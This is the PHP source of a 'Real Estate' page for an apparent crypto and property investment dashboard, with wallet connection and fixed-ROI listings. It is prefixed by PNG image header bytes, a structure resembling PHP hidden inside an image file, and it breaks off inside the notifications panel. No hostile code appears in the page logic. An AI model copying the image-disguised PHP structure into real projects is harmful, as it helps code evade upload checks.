PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
// Turn on error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
// Ensure includes exist
if (!file_exists('includes/connect.php') || !file_exists('includes/functions.php')) {
die("<h2 style='color:red; padding:20px; font-family:sans-serif;'>CRITICAL ERROR: Cannot find 'includes/connect.php' or 'includes/functions.php'. Please check your file paths.</h2>");
}
require_once('includes/connect.php');
require_once('includes/functions.php');
// Handle Logout
if (isset($_GET['l'])) {
logout();
echo "<script>alert('Logged out successfully.'); window.location.href='https://dashboard.com';</script>";
exit();
}
// Authentication Check
if (!isset($_SESSION['Email'])) {
echo "<script>
alert('ERROR: You are not logged in. Session Email is missing. Redirecting to login...');
window.location.href = '../../../index.php';
</script>";
exit();
}
// Generate CSRF Token for Security
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Fetch User Data
$user = GetMember1($_SESSION['Email']);
if (!$user) {
echo "<script>
alert('ERROR: Could not find user in the database.');
window.location.href = '../../../index.php';
</script>";
exit();
}
// Setup View Variables
$userId = $user['ID'];
$userCapital = floatval($user['Capital']);
$userProfit = floatval($user['Profit']);
$totalBalance = $userCapital + $userProfit;
$currencySymbol = htmlspecialchars($user['sym']);
$userName = htmlspecialchars($user['Uname']);
$userFullName = htmlspecialchars($user['full_name']);
$isVerified = isset($user['is_verified']) && $user['is_verified'] == 1;
// Create Avatar Initials
$nameParts = explode(' ', $userFullName);
$avatarInitials = '';
if (count($nameParts) >= 2) {
$avatarInitials = strtoupper(substr($nameParts[0], 0, 1) . substr($nameParts[1], 0, 1));
} else {
$avatarInitials = strtoupper(substr($userName, 0, 2));
}
// ---------------------------------------------------------
// FETCH TRANSACTIONS STATS (For global account dropdown)
// ---------------------------------------------------------
$totalDeposits = 0.00;
$totalWithdrawals = 0.00;
try {
$stmtStats = $conn->prepare("SELECT type, SUM(amount) FROM transactions WHERE user_id = ? AND status = 'COMPLETED' GROUP BY type");
if ($stmtStats) {
$stmtStats->bind_param("i", $userId);
$stmtStats->execute();
$resultStats = $stmtStats->get_result();
while ($row = $resultStats->fetch_row()) {
if ($row[0] === 'DEPOSIT') $totalDeposits = floatval($row[1]);
if ($row[0] === 'WITHDRAWAL') $totalWithdrawals = floatval($row[1]);
}
$stmtStats->close();
}
} catch (Exception $e) {}
// ---------------------------------------------------------
// 1. FETCH REAL ESTATE PROJECTS (Open for investment)
// ---------------------------------------------------------
$realEstateProjects = [];
try {
$projectQuery = $conn->query("SELECT * FROM real_estate_projects WHERE status = 'open'");
if ($projectQuery) {
while ($row = $projectQuery->fetch_assoc()) {
$realEstateProjects[$row['id']] = $row;
}
}
} catch (Exception $e) {}
// Encode to JSON so JS can access the specific project details for the Modals
$projectsJSON = json_encode($realEstateProjects);
// ---------------------------------------------------------
// 2. FETCH USER'S REAL ESTATE PORTFOLIO
// ---------------------------------------------------------
$userInvestments = [];
$totalRealEstateValue = 0.00;
try {
$stmtHistory = $conn->prepare("
SELECT ui.*, rp.title, rp.image_url
FROM user_realestate_investments ui
JOIN real_estate_projects rp ON ui.project_id = rp.id
WHERE ui.user_id = ?
ORDER BY ui.created_at DESC
");
if ($stmtHistory) {
$stmtHistory->bind_param("i", $userId);
$stmtHistory->execute();
$resHistory = $stmtHistory->get_result();
while ($row = $resHistory->fetch_assoc()) {
$userInvestments[] = $row;
if ($row['status'] === 'ACTIVE') {
$totalRealEstateValue += floatval($row['amount_invested']);
}
}
$stmtHistory->close();
}
} catch (Exception $e) {}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">
<title>Real Estate - Your Platform</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style>
.verified-link { color: #26A69A; font-size: 0.85rem; font-weight: 500;}
.not-verified-link { color: #EF5350; font-size: 0.85rem; font-weight: 500;}
/* ========================================= */
/* MOBILE SIDEBAR MENU CSS */
/* ========================================= */
@media (max-width: 768px) {
.sidebar.open { left: 0 !important; }
}
/* ========================================= */
/* MODALS AND OVERLAYS CSS (From index.php) */
/* ========================================= */
.notifications-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 2000; opacity: 0; visibility: hidden; transition: 0.3s; background: rgba(0,0,0,0.6); display: flex; align-items: center; justify-content: center;}
.notifications-overlay.open { opacity: 1; visibility: visible; }
.notifications-panel { position: fixed; top: 0; right: 0; width: 100%; max-width: 400px; height: 100%; background: #1a1d21; transform: translateX(100%); transition: 0.3s; z-index: 2001; display:flex; flex-direction:column; border-left:1px solid #333;}
.notifications-overlay.open .notifications-panel { transform: translateX(0); }
.notifications-header { display: flex; justify-content: space-between; align-items: center; padding: 20px; border-bottom: 1px solid #333; }
.notifications-header h2 { margin:0; font-size:1.2rem; color:#fff;}
.panel-btn { background: none; border: none; color: #aaa; cursor: pointer; display: flex; align-items: center; padding: 4px; }
.panel-btn:hover { color: #fff; }
.panel-btn svg { width: 24px; height: 24px; }
.notifications-body, .wallet-body, .wallet-form-body { flex-grow: 1; overflow-y: auto; padding: 20px; }
.notification-bell-wrapper { position: relative; display: inline-flex; }
.notification-count-badge { position: absolute; top: 0; right: 0; background-color: #e74c3c; color: white; font-size: 11px; font-weight: bold; width: 18px; height: 18px; border-radius: 50%; display: none; align-items: center; justify-content: center; border: 2px solid #101215; transform: translate(40%, -40%);}
/* Connect Wallet Modals */
.wallet-item { display: flex; align-items: center; justify-content: space-between; padding: 15px; background: #2c3036; border-radius: 8px; border: 1px solid #444; margin-bottom: 10px; cursor: pointer; transition: 0.2s;}
.wallet-item:hover { background: #353a41; }
/* CSS FOR REAL ESTATE PAGE */
.tab-content-wrapper { margin-top: 20px; }
.tab-panel { display: none; }
.tab-panel.active { display: block; animation: fadeIn 0.5s ease; }
@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }
.how-it-works-title { font-size: 1.5rem; color: #e0e0e0; margin-bottom: 24px; }
.projects-section { width: 100%; max-width: 1200px; margin: 0 auto; padding: 0 24px; }
.projects-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(350px, 1fr)); gap: 24px; }
.project-card { background-color: #1a1c22; border-radius: 16px; overflow: hidden; border: 1px solid #2d3038; display: flex; flex-direction: column; }
.project-card-image img { width: 100%; height: 220px; object-fit: cover; display: block; }
.project-card-content { padding: 24px; }
.project-card-content h5 { font-size: 1.25rem; font-weight: 600; margin: 0 0 12px 0; color: #fff; }
.project-card-content p { font-size: 0.95rem; color: #8a8d97; margin: 0; line-height: 1.6; }
.project-card-details { display: flex; justify-content: space-between; padding: 24px; border-top: 1px solid #2d3038; margin-top: auto; }
.detail-item { display: flex; flex-direction: column; gap: 6px; text-align: left; }
.detail-label { font-size: 0.85rem; color: #8a8d97; text-transform: uppercase; }
.detail-value { font-size: 0.85rem; font-weight: 700; color: #fff; }
.project-card-actions { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; padding: 24px; border-top: 1px solid #2d3038; }
.project-card-actions .btn { display: block; text-align: center; padding: 12px; border-radius: 8px; text-decoration: none; font-weight: 600; cursor: pointer; transition: 0.2s; }
.project-card-actions .btn-dark-outline { background-color: #2c2f36; border: 1px solid #2c2f36; color: #e0e0e0; }
.project-card-actions .btn-dark-outline:hover { background-color: #3e414b; }
.project-card-actions .btn-invest-now { background-color: #31acee; border: 1px solid #31acee; color: #fff; }
.project-card-actions .btn-invest-now:hover { background-color: #2992ca; }
/* PROJECT DETAIL MODAL (SLIDE-IN) */
.project-detail-modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.6); z-index: 1000; opacity: 0; visibility: hidden; transition: opacity 0.3s; }
.project-detail-modal-overlay.active { opacity: 1; visibility: visible; }
.project-detail-modal-content { position: fixed; top: 0; right: 0; width: 100%; max-width: 500px; height: 100%; background-color: #1a1c22; color: #fff; transform: translateX(100%); transition: transform 0.4s; display: flex; flex-direction: column; border-left: 1px solid #333;}
.project-detail-modal-overlay.active .project-detail-modal-content { transform: translateX(0); }
.project-detail-modal-content .modal-header { display: flex; justify-content: space-between; align-items: center; padding: 16px 24px; border-bottom: 1px solid #2d3038; }
.project-detail-modal-content .modal-back-btn, .project-detail-modal-content .modal-close-btn { background: none; border: none; color: #fff; cursor: pointer; font-size: 1rem; }
.project-detail-modal-content .modal-body { padding: 24px; overflow-y: auto; flex-grow: 1; }
.modal-image-slider img { width: 100%; height: 250px; object-fit: cover; border-radius: 12px; margin-bottom: 20px;}
.modal-tab-content .breakdown-grid, .breakdown-grid { display: grid; grid-template-columns: 1fr 1fr; border-radius: 12px; border: 1px solid #3e414b; overflow: hidden; margin: 24px 0; }
.breakdown-item { padding: 20px; display: flex; flex-direction: column; gap: 6px; }
.breakdown-item:nth-child(odd) { border-right: 1px solid #3e414b; }
.breakdown-item:not(:nth-last-child(-n+2)) { border-bottom: 1px solid #3e414b; }
/* INVEST NOW MODAL */
.modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.7); display: flex; align-items: center; justify-content: center; z-index: 1050; opacity: 0; visibility: hidden; transition: opacity 0.2s; }
.modal-overlay.active { opacity: 1; visibility: visible; }
.modal-content { background-color: #1a1d21; padding: 24px; border-radius: 12px; width: 90%; max-width: 400px; transform: scale(0.95); opacity: 0; transition: transform 0.2s, opacity 0.2s; border:1px solid #333; margin: auto; }
.modal-overlay.active .modal-content { transform: scale(1); opacity: 1; }
.modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; }
.modal-header h2 { font-size: 18px; margin: 0; color: #fff; }
.modal-close-btn { background: none; border: none; color: #fff; font-size: 20px; cursor: pointer; }
.form-group { margin-bottom: 20px; }
.modal-label { display: block; color: #a0a0b8; font-size: 14px; margin-bottom: 8px; font-weight: 500; }
.modal-input, .modal-select { width: 100%; background-color: #2c3036; border: 1px solid #444; border-radius: 8px; padding: 14px 16px; color: #fff; font-size: 16px; box-sizing: border-box;}
.modal-textarea { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; height: 120px; resize: vertical; }
.balance-info { display: flex; justify-content: space-between; font-size: 14px; color: #a0a0b8; margin-top: -12px; margin-bottom: 20px; }
.btn-primary-markets { width: 100%; padding: 14px; font-size: 16px; font-weight: 600; background-color: #31acee; color: #fff; border: none; border-radius: 8px; cursor: pointer; transition: 0.2s;}
.btn-primary-markets:hover { background-color: #2992ca; }
.btn-primary-markets:disabled { background-color: #444; color: #aaa; cursor: not-allowed; }
</style>
</head>
<body class="dashboard-page">
<div class="dashboard-container">
<aside class="sidebar" id="sidebar">
<div class="mobile-menu-header">
<a href="kyc_front.php" class="user-profile-link">
<div class="user-avatar"><?php echo $avatarInitials; ?></div>
<div class="user-info">
<span class="user-name"><?php echo $userName; ?></span>
<?php if($isVerified): ?>
<span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
<?php else: ?>
<span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
<?php endif; ?>
</div>
</a>
<div class="menu-controls">
<button id="close-menu-btn" style="background:none; border:none; color:white; font-size:24px; cursor:pointer;">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" width="24" height="24"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg>
</button>
</div>
</div>
<div class="sidebar-header">
<svg class="logo" width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M16 2.66663L29.3333 29.3333H2.66667L16 2.66663Z" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M11.3333 18.6666L20.6667 18.6666" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<nav class="sidebar-nav">
<ul>
<li class=""><a href="index.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 12l8.954-8.955c.44-.439 1.152-.439 1.591 0L21.75 12M4.5 9.75v10.125c0 .621.504 1.125 1.125 1.125H9.75v-4.875c0-.621.504-1.125 1.125-1.125h2.25c.621 0 1.125.504 1.125 1.125V21h4.125c.621 0 1.125-.504 1.125-1.125V9.75M8.25 21h7.5" /></svg>Dashboard</a></li>
<li class=""><a href="deposit.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v6m3-3H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Deposit</a></li>
<li class=""><a href="withdraw.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15 12H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Withdraw</a></li>
<li class=""><a href="assets.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 8.25h19.5M2.25 9h19.5m-16.5 5.25h6m-6 2.25h3m-3.75 3h15a2.25 2.25 0 002.25-2.25V6.75A2.25 2.25 0 0019.5 4.5h-15a2.25 2.25 0 00-2.25 2.25v10.5A2.25 2.25 0 004.5 21z" /></svg>Assets</a></li>
<li class=""><a href="markets.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6h4.5m4.5 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Markets</a></li>
<li class=""><a href="mining.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M5.25 14.25h13.5m-13.5 0a3 3 0 01-3-3V7.5a3 3 0 013-3h13.5a3 3 0 013 3v3.75a3 3 0 01-3 3m-13.5 0h13.5m-13.5 0a3 3 0 00-3 3v.75a3 3 0 003 3h13.5a3 3 0 003-3v-.75a3 3 0 00-3-3m-3.75-9H15m-3.75 3h3.75" /></svg>Mining</a></li>
<li class=""><a href="trade.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 18L9 11.25l4.306 4.307a11.95 11.95 0 015.814-5.519l2.74-1.22m0 0l-5.94-2.28m5.94 2.28l-2.28 5.941" /></svg>Trade</a></li>
<li class="active"><a href="realestate.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 21h16.5M4.5 3h15M5.25 3v18m13.5-18v18M9 6.75h1.5m-1.5 3h1.5m-1.5 3h1.5m3-6h1.5m-1.5 3h1.5m-1.5 3h1.5M9 21v-3.375c0-.621.504-1.125 1.125-1.125h3.75c.621 0 1.125.504 1.125 1.125V21" /></svg>Real Estate</a></li>
<li class=""><a href="subscribe.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M10.5 6h9.75M10.5 6a1.5 1.5 0 11-3 0m3 0a1.5 1.5 0 10-3 0M3.75 6H7.5m3 12h9.75m-9.75 0a1.5 1.5 0 01-3 0m3 0a1.5 1.5 0 00-3 0m-3.75 0H7.5m9-6h3.75m-3.75 0a1.5 1.5 0 01-3 0m3 0a1.5 1.5 0 00-3 0m-9.75 0h9.75" /></svg>Subscribe</a></li>
<li class=""><a href="signals.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M8.288 15.038a5.25 5.25 0 017.424 0M5.106 11.856c3.807-3.808 9.98-3.808 13.788 0M1.924 8.674c5.565-5.565 14.587-5.565 20.152 0M12.53 18.22l-.53.53-.53-.53a.75.75 0 011.06 0z" /></svg>Signals</a></li>
<li class=""><a href="stake.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M16.023 9.348h4.992v-.001M2.985 19.644v-4.992m0 0h4.992m-4.993 0l3.181 3.183a8.25 8.25 0 0011.667 0l3.181-3.183m-4.991-2.691L7.98 12.01M16.023 9.348a8.25 8.25 0 01-11.667 0L2.985 7.981m13.038 0l-3.181-3.182m0 0a8.25 8.25 0 0111.667 0l3.181 3.182" /></svg>Stake</a></li>
<li><a href="#" id="open-wallet-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M13.19 8.688a4.5 4.5 0 011.242 7.244l-4.5 4.5a4.5 4.5 0 01-6.364-6.364l1.757-1.757m13.35-.622l1.757-1.757a4.5 4.5 0 00-6.364-6.364l-4.5 4.5a4.5 4.5 0 001.242 7.244" /></svg>Connect wallet</a></li>
<li class=""><a href="copytrading.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 17.25v3.375c0 .621-.504 1.125-1.125 1.125h-9.75a1.125 1.125 0 01-1.125-1.125V7.875c0-.621.504-1.125 1.125-1.125H6.75a9.06 9.06 0 011.5.124m7.5 10.376h3.375c.621 0 1.125-.504 1.125-1.125V11.25c0-4.46-3.243-8.161-7.5-8.876a9.06 9.06 0 00-1.5-.124H9.375c-.621 0-1.125.504-1.125 1.125v3.5m7.5 10.375H9.375a1.125 1.125 0 01-1.125-1.125v-9.25m12 6.625v-1.875a3.375 3.375 0 00-3.375-3.375h-1.5a1.125 1.125 0 01-1.125-1.125v-1.5a3.375 3.375 0 00-3.375-3.375H9.75" /></svg>Copy trading</a></li>
<li><a href="change-pass.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 01-10.563-10.563c-.09.542-.56 1.007-1.11 1.11a12.007 12.007 0 0110.563-10.563z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" /></svg>Password</a></li>
<li><a href="logout.php" id="logout-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6m0 0v6m0-6h6m-6 0H6" /><circle cx="12" cy="12" r="9" stroke-width="1.5" stroke="currentColor" fill="none" /></svg>Logout</a></li>
</ul>
</nav>
</aside>
<div class="main-content">
<header class="main-header">
<button class="hamburger-menu" id="hamburger-menu" style="background:none; border:none; color:white; font-size:24px; cursor:pointer;">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" width="24" height="24">
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
</svg>
</button>
<div class="header-title">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="icon">
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 21h16.5M4.5 3h15M5.25 3v18m13.5-18v18M9 6.75h1.5m-1.5 3h1.5m-1.5 3h1.5m3-6h1.5m-1.5 3h1.5m-1.5 3h1.5M9 21v-3.375c0-.621.504-1.125 1.125-1.125h3.75c.621 0 1.125.504 1.125 1.125V21" />
</svg>
<h1>Real Estate</h1>
</div>
<div class="header-controls">
<button class="balance-selector" id="balance-selector-btn">
<span><?php echo $currencySymbol; ?></span> <span id="user-balance-display"><?php echo number_format($totalBalance, 2); ?></span><span class="real-text">REAL</span>
</button>
<div class="notification-bell-wrapper">
<button class="icon-btn" id="open-notifications-btn">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M14.857 17.082a23.848 23.848 0 005.454-1.31A8.967 8.967 0 0118 9.75v-.7V9A6 6 0 006 9v.75a8.967 8.967 0 01-2.312 6.022c1.733.64 3.56 1.085 5.455 1.31m5.714 0a24.255 24.255 0 01-5.714 0m5.714 0a3 3 0 11-5.714 0" /></svg>
</button>
<span id="notification-count-badge" class="notification-count-badge" style="display:none;">0</span>
</div>
<div class="user-avatar header-avatar" id="user-menu-btn"><?php echo $avatarInitials; ?></div>
<div class="user-account-panel" id="user-account-panel">
<header class="account-panel-header">
<div class="account-panel-title-section"><button class="panel-btn js-close-account-panel"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button><h2>Your account</h2></div>
<button class="panel-btn js-close-account-panel"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="account-panel-body">
<div class="account-panel-main">
<a href="kyc_front.php" class="user-profile-link">
<div class="user-avatar"><?php echo $avatarInitials; ?></div>
<div class="user-info">
<span class="user-name"><?php echo $userName; ?></span>
<?php if($isVerified): ?>
<span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
<?php else: ?>
<span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
<?php endif; ?>
</div>
</a>
<div class="account-summary">
<h3>Account Summary</h3>
<div class="summary-row">
<span class="summary-label">Total Deposits</span>
<span class="summary-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalDeposits, 2); ?></span>
</div>
<div class="summary-row">
<span class="summary-label">Total Withdrawals</span>
<span class="summary-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalWithdrawals, 2); ?></span>
</div>
</div>
</div>
<div class="account-panel-actions">
<ul class="actions-list-desktop">
<li><a href="deposit.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15" /></svg>Add funds</a></li>
<li><a href="withdraw.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 12h-15" /></svg>Withdraw</a></li>
<li><a href="change-pass.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 0110.563-10.563z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" /></svg>Password</a></li>
<li class="logout-item"><a href="logout.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9V5.25A2.25 2.25 0 0013.5 3h-6a2.25 2.25 0 00-2.25 2.25v13.5A2.25 2.25 0 007.5 21h6a2.25 2.25 0 002.25-2.25V15m3 0l3-3m0 0l-3-3m3 3H9" /></svg>Log out</a></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<main class="content-grid">
<section class="card real-estate-card" style="grid-column: 1 / -1;">
<div class="re-header" style="margin-bottom: 20px;">
<div class="re-portfolio-value">
<h4 class="re-portfolio-label" style="color:#a0a0b8; font-weight:normal; margin:0;">Total Real Estate Portfolio</h4>
<div class="re-portfolio-amount" style="font-size: 2.5rem; font-weight: 700; color: #fff;">
<?php echo $currencySymbol . number_format($totalRealEstateValue, 2); ?>
</div>
</div>
</div>
<div class="investing-tabs" style="display:flex; gap:20px; border-bottom:1px solid #333; padding-bottom:10px;">
<button class="investing-tab-item active" data-tab-target="open" style="background:none; border:none; color:#fff; font-weight:bold; cursor:pointer;">Open Projects</button>
<button class="investing-tab-item" data-tab-target="portfolio" style="background:none; border:none; color:#888; cursor:pointer;">Your Portfolio</button>
<button class="investing-tab-item" data-tab-target="how-it-works" style="background:none; border:none; color:#888; cursor:pointer;">How it works</button>
</div>
<div class="tab-content-wrapper">
<div class="tab-panel active" data-tab-content="open">
<div class="projects-section" style="padding: 20px 0;">
<div class="projects-grid">
<?php if(empty($realEstateProjects)): ?>
<p style="color:#888;">No active projects available at the moment.</p>
<?php else: ?>
<?php foreach($realEstateProjects as $id => $project): ?>
<div class="project-card">
<div class="project-card-image"><img src="<?php echo htmlspecialchars($project['image_url']); ?>" alt="<?php echo htmlspecialchars($project['title']); ?>"></div>
<div class="project-card-content">
<h5><?php echo htmlspecialchars($project['title']); ?></h5>
<p><?php echo htmlspecialchars(substr($project['description'], 0, 100)) . '...'; ?></p>
</div>
<div class="project-card-details">
<div class="detail-item">
<span class="detail-label">Minimum</span>
<span class="detail-value"><?php echo $currencySymbol . number_format($project['min_investment'], 2); ?></span>
</div>
<div class="detail-item">
<span class="detail-label">ROI</span>
<span class="detail-value"><?php echo htmlspecialchars($project['roi_percentage']); ?>%</span>
</div>
</div>
<div class="project-card-actions">
<button class="btn btn-dark-outline js-view-project" data-project-id="<?php echo $id; ?>">View details</button>
<button class="btn btn-invest-now js-invest-now" data-project-id="<?php echo $id; ?>">Invest now</button>
</div>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
</div>
</div>
<div class="tab-panel" data-tab-content="portfolio" style="padding: 20px 0;">
<?php if(empty($userInvestments)): ?>
<div class="placeholder-content" style="text-align:center; padding: 40px 20px; color: #a0a0b8;">
<h3 style="color:#fff; margin-bottom:10px;">Your Real Estate Portfolio</h3>
<p>You have not invested in any real estate projects yet.</p>
</div>
<?php else: ?>
<div class="projects-grid">
<?php foreach($userInvestments as $inv): ?>
<div class="project-card">
<div class="project-card-image"><img src="<?php echo htmlspecialchars($inv['image_url']); ?>" alt="Project"></div>
<div class="project-card-content">
<h5><?php echo htmlspecialchars($inv['title']); ?></h5>
<p style="color:#31acee; font-weight:bold; margin-top:10px;">Status: <?php echo $inv['status']; ?></p>
</div>
<div class="project-card-details">
<div class="detail-item">
<span class="detail-label">Invested</span>
<span class="detail-value" style="color:#26A69A;"><?php echo $currencySymbol . number_format($inv['amount_invested'], 2); ?></span>
</div>
<div class="detail-item">
<span class="detail-label">Duration</span>
<span class="detail-value"><?php echo htmlspecialchars($inv['duration_selected']); ?></span>
</div>
<div class="detail-item">
<span class="detail-label">Date</span>
<span class="detail-value"><?php echo date('M d, Y', strtotime($inv['created_at'])); ?></span>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
<div class="tab-panel" data-tab-content="how-it-works" style="padding: 20px 0;">
<h3 class="how-it-works-title">How it works</h3>
<div class="faq-accordion" style="display:flex; flex-direction:column; gap:10px;">
<details class="faq-item" style="background:#1a1d21; padding:15px; border-radius:8px; border:1px solid #333;">
<summary style="cursor:pointer; font-weight:bold; color:#fff;">How does 'Real Estate' work?</summary>
<div style="padding-top:10px; color:#aaa; font-size:14px; line-height:1.5;">Our platform allows you to invest in high-value real estate properties alongside other investors. We source and manage the properties, and you purchase a share.</div>
</details>
<details class="faq-item" style="background:#1a1d21; padding:15px; border-radius:8px; border:1px solid #333;">
<summary style="cursor:pointer; font-weight:bold; color:#fff;">How do I make money?</summary>
<div style="padding-top:10px; color:#aaa; font-size:14px; line-height:1.5;">You earn returns from regular payouts from rental income, and from the potential appreciation when the property is sold.</div>
</details>
</div>
</div>
</div>
</section>
</main>
</div>
<div class="notifications-overlay" id="notifications-overlay">
<div class="notifications-backdrop js-close-notifications" style="position:absolute; width:100%; height:100%;"></div>
<div class="notifications-panel" id="notifications-panel">
<header class="notifications-header">
<div class="notifications-title-section" style="display:flex; align-items:center;">
<button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Notifications</h2>
